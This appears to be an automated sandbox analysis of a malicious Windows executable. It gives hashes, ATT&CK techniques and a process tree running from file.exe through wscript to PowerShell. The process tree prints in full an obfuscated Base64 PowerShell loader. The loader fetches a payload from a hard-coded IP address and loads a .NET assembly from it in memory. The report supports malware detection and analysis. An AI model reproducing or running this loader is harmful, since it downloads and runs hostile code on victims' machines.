84ade85f5b49b00b37df593a973170eb31c3fd771b40f4c753fe9dc1560f5cd8

General

Target
file.exe
Size 1.5MB
Sample260715-dfbbbaat7m
SHA256 84ade85f5b49b00b37df593a973170eb31c3fd771b40f4c753fe9dc1560f5cd8
MD5 194fc7dd9b9d09ced1dbf65f6c504c19
SHA1 61588a233d41e6f3c5dc837d8eb76eb42c37dff6
SHA512 79d0a283fe56b8dbaca49311ba93ba7b3ed38c918b7ec22772c548400ac027109e71cca03024e5b6f619fa163176209c5da4b5c0e25afce0d5d910f3fec9289c
SSDEEP 24576:HJy81JhKMVSJXDSZhsBYzym3/QBele5yKD9e++vRbui:HJZDhKKSxSEBYzV2KvRbr
TLSH
T1F075280BBCD009F6D4AA9232896761517B72BC490F3127D73AA0B27C2F727E49E75748
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4960	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4960	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4960	powershell.exe
4960	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4960	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3908 wrote to memory of 2424	3908	file.exe	83
PID 2424 wrote to memory of 4960	2424	wscript.exe	84

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3908
- C:\Windows\System32\wscript.exe
  wscript.exe //E:vbscript //B "C:\Users\Admin\AppData\Local\Microsoft\Windows\838591.txt"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ondoiw ='WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAZgB1AG4AYwB0AGkAbwBuACAAZABsAHsAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAHUAcgBsAEwAaQBzAHQAKQBmAG8AcgBlAGEAYwBoACgAJABjAHUAcgByAGUAbgB0AFUAcgBsACAAaQBuACAAJAB1AHIAbABMAGkAcwB0ACkAewB0AHIAeQB7ACQAcgBlAHEAdQBlAHMAdAA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAJABjAHUAcgByAGUAbgB0AFUAcgBsACkAOwAkAHIAZQBzAHAAbwBuAHMAZQA9ACQAcgBlAHEAdQBlAHMAdAAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkAOwAkAHIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQA9ACQAcgBlAHMAcABvAG4AcwBlAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQAbQBlAG0AUwB0AHIAZQBhAG0APQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAHIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAJABtAGUAbQBTAHQAcgBlAGEAbQApADsAJAByAGUAcwBwAG8AbgBzAGUALgBDAGwAbwBzAGUAKAApADsAJAByAGEAdwBCAHkAdABlAHMAPQAkAG0AZQBtAFMAdAByAGUAYQBtAC4AVABvAEEAcgByAGEAeQAoACkAOwAkAHIAYQB3AFQAZQB4AHQAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAByAGEAdwBCAHkAdABlAHMAKQA7AGkAZgAoACQAcgBhAHcAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwApAC0AZwBlADAAIAAtAGEAbgBkACAAJAByAGEAdwBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAKQAtAGcAdAAwACkAewByAGUAdAB1AHIAbgAgACQAcgBhAHcAQgB5AHQAZQBzAH0AfQBjAGEAdABjAGgAewBjAG8AbgB0AGkAbgB1AGUAfQB9AHIAZQB0AHUAcgBuACAAJABuAHUAbABsAH0ADQAKACQAcAByAG8AdABvAGMAbwBsAD0AJwBoAHQAdABwACcAOwAkAHMAZQBwAGEAcgBhAHQAbwByAD0AJwA6AC8ALwAnADsAJABiAGEAcwBlAFUAcgBsAD0AJABwAHIAbwB0AG8AYwBvAGwAKwAkAHMAZQBwAGEAcgBhAHQAbwByADsAJABoAG8AcwB0AFAAYQByAHQAPQAnADEAOQAyAC4AMQA2ADIALgAxADkAOQAuADcAOAAnADsAJABwAGEAdABoAFAAYQByAHQAPQAnAC8AcAB1AGIAbABpAGMAXwBmAGkAbABlAHMALwAnADsAJABmAGkAbABlAFAAYQByAHQAPQAnAHcAZABzAG8AcwAuAGoAcABnACcAOwAkAHEAdQBlAHIAeQBQAGEAcgB0AD0AJwA/ADEAMgA3ADEAMQAzADEAMwAnADsAJABmAHUAbABsAFUAcgBsAD0AJABwAHIAbwB0AG8AYwBvAGwAKwAkAHMAZQBwAGEAcgBhAHQAbwByACsAJABoAG8AcwB0AFAAYQByAHQAKwAkAHAAYQB0AGgAUABhAHIAdAAd@ACQAZgBpAGwAZQBQAGEAcgB0ACsAJABxAHUAZQByAHkAUABhAHIAdAA7ACQAbABpAG4AawBBAHIAcgBhAHkAPQBAACgAJABmAHUAbABsAFUAcgBsACkAOwAkAHAAYQB5AGwAbwBhAGQAQgB5AHQAZQBzAD0AZABsACAAJABsAGkAbgBd@AEEAcgByAGEAeQA7AGkAZgAoACQAcABhAHkAbABvAGEAZABCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABwAGEAeQBsAG8AYQBkAFQAZQB4AHQAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABwAGEAeQBsAG8AYQBkAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQATQBhAHIAawBlAHIAPQAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQATQBhAHIAawBlAHIAPQAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQAUABvAHMAPQAkAHAAYQB5AGwAbwBhAGQAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABNAGEAcgBd@AGUAcgApADsAJABlAG4AZABQAG8AcwA9ACQAcABhAHkAbABvAGEAZABUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQATQBhAHIAawBlAHIAKQA7AGkAZgAoACQAcwB0AGEAcgB0AFAAbwBzACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQAUABvAHMAIAAtAGcAdAAgACQAcwB0AGEAcgB0AFAAbwBzACkAewAkAHMAdABhAHIAdABQAG8AcwAd@AD0AJABzAHQAYQByAHQATQBhAHIAawBlAHIALgBMAGUAbgBnAHQAaAA7ACQAcwBlAGcAbQBlAG4AdABMAGUAbgBnAHQAaAA9ACQAZQBuAGQAUABvAHMALQAkAHMAdABhAHIAdABQAG8AcwA7ACQAZQBuAGMAbwBkAGUAZABQAGEAeQBsAG8AYQBkAD0AJABwAGEAeQBsAG8AYQBkAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AFAAbwBzACwAJABzAGUAZwBtAGUAbgB0AEwAZQBuAGcAdABoACkAOwAkAGMAbwByAGUAQQBzAHMAZQBtAGIAbAB5AD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ARwBlAHQAQQBzAHMAZQBtAGIAbABpAGUAcwAoACkAfAA/AHsAJABfAC4ARgB1AGwAbABOAGEAbQBlACAALQBtAGEAdABjAGgAIAAnAG0AcwBjAG8AcgBsAGkAYgAnAH0AOwAkAGMAbwBuAHYAZQByAHQAVAB5AHAAZQA9ACQAYwBvAHIAZQBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAJwApADsAJABmAHIAbwBtAEIAYQBzAGUANgA0AD0AJABjAG8AbgB2AGUAcgB0AFQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAnACkAOwAkAGQAZQBjAG8AZABlAGQAQgB5AHQAZQBzAD0AJABmAHIAbwBtAEIAYQBzAGUANgA0AC4ASQBuAHYAbwBd@AGUAKAAkAG4AdQBsAGwALABAACgAJABlAG4AYwBvAGQAZQBkAFAAYQB5AGwAbwBhAGQAKQApADsAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAPQBbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABkAGUAYwBvAGQAZQBkAEIAeQB0AGUAcwApADsAJAB0AGEAcgBnAGUAdABUAHkAcABlAD0AJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwB0AGUAcwB0AHAAbwB3AGUAcgBzAGgAZQBsAGwALgBqAGQAcQBd@AHcAagBkAHMAJwApADsAJABtAGUAdABoAE4AYQBtAGUAIAA9ACAAJwBsAGYAcwAnACsAJwBnAGUAZAAnACsAJwBkAGQAZABkAGQAZAAnACsAJwBhACcAOwAgACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AGEAcgBnAGUAdABUAHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAkAG0AZQB0AGgATgBhAG0AZQApAC4ASQBuAHYAbwBd@AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgB6AHQATQBFAHgAeABBAC8AcwBlAGwAaQBmAF8AYwBpAGwAYgB1AHAALwA4ADcALgA5ADkAMQAuADIANgAxAC4AMgA5ADEALwAvADoAJwAsACAAJwAwACcALAAgACcATQBKAFkAaABGAG4AVwBCAGUAJwAsACAAJwAwACcAKQApAH0AfQA=';$asfjdwWDS = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ondoiw.replace('d@','r') ));& ([scriptblock]::Create($asfjdwWDS))
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4960

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

838591.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\838591.txt
Size 26KB
SHA256 ebb2b16fda98c52f9a3a882d00bb73aeff56c928e54f0ba99480b008e135674f
MD5 ba9db19595f949ec3998a72b62d4bf87
SHA1 3e06b196cfe12b15f564059524339a7044feb85d
SHA512 86c5184f265ce9dfecdf52bd5e1c16a2de8ac083e1dbe67df1d0e079224ea749c2c0ba10d7be6d29cdee4f68be07ec6668e42f8e8454fbc86724149940cb994b
SSDEEP 768:KBPyavd+74sBa15t6wWlQgrhrFSfFhMyKeZ:M9+7tmtEzlroQEZ
TLSH
T1CFC2D716C914AEF00B7F6156DC472C4A85A0432966343E0DB5CEAA9C2F79365CFCA1EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_p1btwxgz.3by.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1btwxgz.3by.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4960-3-0x0000020ADBC20000-0x0000020ADBC30000-memory.dmp

Download

memory/4960-2-0x0000020ADBC20000-0x0000020ADBC30000-memory.dmp

Download

memory/4960-6-0x0000020ADDD10000-0x0000020ADDD32000-memory.dmp

Download

memory/4960-12-0x0000020ADBC20000-0x0000020ADBC30000-memory.dmp

Download

memory/4960-13-0x0000020ADBC20000-0x0000020ADBC30000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads